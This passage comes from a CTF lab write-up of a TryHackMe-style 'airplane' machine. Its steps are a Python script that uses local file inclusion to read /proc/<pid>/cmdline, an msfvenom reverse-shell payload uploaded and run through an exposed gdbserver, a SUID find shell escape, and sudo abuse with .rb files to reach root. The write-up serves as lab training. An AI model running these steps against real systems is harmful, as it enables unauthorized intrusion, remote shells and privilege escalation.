    27336 kB<br>RssAnon:           17900 kB<br>RssFile:            9436 kB<br>RssShmem:              0 kB<br>VmData:    25992 kB<br>VmStk:       132 kB<br>VmExe:      2772 kB<br>VmLib:      5156 kB<br>VmPTE:       120 kB<br>VmSwap:        0 kB<br>HugetlbPages:          0 kB<br>CoreDumping:    0<br>THP_enabled:    1<br>Threads:        2<br>SigQ:   0/3643<br>SigPnd: 0000000000000000<br>ShdPnd: 0000000000000000<br>SigBlk: 0000000000000000<br>SigIgn: 0000000001001000<br>SigCgt: 0000000180000002<br>CapInh: 0000000000000000<br>CapPrm: 0000000000000000<br>CapEff: 0000000000000000<br>CapBnd: 0000003fffffffff<br>CapAmb: 0000000000000000<br>NoNewPrivs:     0<br>Seccomp:        0<br>Speculation_Store_Bypass:       vulnerable<br>Cpus_allowed:   3<br>Cpus_allowed_list:      0-1<br>Mems_allowed:   00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001<br>Mems_allowed_list:      0<br>voluntary_ctxt_switches:        845<br>nonvoluntary_ctxt_switches:     51</pre><p>With the Process Identifier, we can check for other key files to understand more about the running process.</p><h3>Iterating through running PID’s</h3><p>Using our custom python scripts that automatically checks through running process PID’s</p><pre>import requests<br>import time<br><br># 🔧 CONFIGURATION<br>TARGET_URL = &quot;&lt;http://airplane.thm:8000/?page=&gt;&quot;  # Replace with the actual vulnerable endpoint<br>SLEEP_BETWEEN_REQUESTS = 0.05  # Time between requests (in seconds)<br>PID_RANGE = range(1, 1000)     # Tune this to scan more PIDs<br>def get_cmdline(pid):<br>    target = f&quot;{TARGET_URL}../../../../../proc/{pid}/cmdline&quot;<br>    try:<br>        response = requests.get(target, timeout=5)<br>        print(f&quot;[+] Trying PID {pid} =&gt; Status {response.status_code}&quot;)<br>        if response.status_code == 200:<br>            content = response.text.strip()<br>            if &quot;Page not found&quot; in content or len(content) &lt; 5:<br>                pass<br>            else:<br>                clean = content.replace(&#39;\\x00&#39;, &#39; &#39;).strip()<br>                print(f&quot;    [FOUND] PID {pid} CMDLINE: {clean}&quot;)<br>                return clean<br>        else:<br>            print(f&quot;    [?] Unexpected status: {response.status_code}&quot;)<br>    except requests.RequestException as e:<br>        print(f&quot;[!] Error on PID {pid}: {e}&quot;)<br>    return None<br>def main():<br>    print(f&quot;[*] Starting LFI /proc/&lt;pid&gt;/cmdline enumeration on {TARGET_URL}&quot;)<br>    for pid in PID_RANGE:<br>        get_cmdline(pid)<br>        time.sleep(SLEEP_BETWEEN_REQUESTS)<br>if __name__ == &quot;__main__&quot;:<br>    main()</pre><p>Discovered gdbserver running on the earlier discovered opened port 6048.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/582/1*fHQm5l3LC8bprNMhy6drgw.jpeg" /></figure><h3>GDBSERVER</h3><p>After discovering gdbserver running on the open port 6048. A quick google search on gdbserver shows that it is used for remote debugging.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/1*5zuvcHaRhkBqA7Ly9Ihapg.jpeg" /></figure><p>After checking hacktricks for gdbserver, discovered a trick to hack the gdbserver and fortunately it worked.</p><pre># Trick shared by @B1n4rySh4d0w<br>msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf<br><br>chmod +x binary.elf<br>gdb binary.elf<br><br># Set remote debuger target<br>target extended-remote 10.10.10.11:1337<br><br># Upload elf file<br>remote put binary.elf binary.elf<br><br># Set remote executable file<br>set remote exec-file /home/user/binary.elf<br><br># Execute reverse shell executable<br>run<br><br># You should get your reverse-shell</pre><h3>Initial Access</h3><h3>Hudson@airplane.thm</h3><p>After access, checked through all files but discovered nothing. “suspecting the user.txt is in carlos folder.”</p><p>To escalate priviledge, used sudo -lto check for elevated binaries, but bcos I don’t know the password, can’t run sudo.</p><h3><a href="http://linpeas.sh/">Linpeas.sh</a></h3><p>Running linpeas on the victim machine, discovered two major vulnerabilities</p><ul><li>Privilege Escalation with polkit.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/248/1*b3CbGqGEkhmvrHZ8tGnLmg.jpeg" /></figure><ul><li>Privilege escalation with SUID binaries was also discovered. Can be used to escalate into carlos account</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/481/1*8NfxrYy9UcV5dd6YBjTI6g.jpeg" /></figure><p>Option 2 seems easier so I’ll go with that first.</p><p>I did not check out the first vulnerabilities. You can try it out and I’ll love to know how it goes….</p><p>Since the SUID find can be used, I checked gtfobins: <a href="https://gtfobins.github.io/gtfobins/find/">https://gtfobins.github.io/gtfobins/find/</a></p><pre># Make sure to confirm the filepath<br>./find . -exec /bin/sh -p \\; -quit<br><br># from the Linpeas the linpead result, the file path of find is /usr/bin/find<br>/usr/bin/find . -exec /bin/sh -p \\; -quit</pre><h3><a href="/service/mailto:Carlos@airplane.th">Carlos@airplane.th</a>m</h3><p>From the picture below we can see that carlos is a sudoer</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/538/1*BpPkIqUnh1AyrIqTURxI-Q.jpeg" /></figure><p>Running sudo -l confirm the sudo ability of carlos</p><h3>Privilege Escalation</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/987/1*QqGu-EoJYpZad9aBHoHI6g.jpeg" /></figure><p>The sudo privileges contains a (*) allows to run any file with a .rb, to exploit this writing a simple exec /bin/bash and saving it with a .rb extension. Executing the file give us admin shell access.</p><p>Let me know what you think about this writeup and if it was helpful to you click the like button. Thanks 🙏</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ce5482f8aabf" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>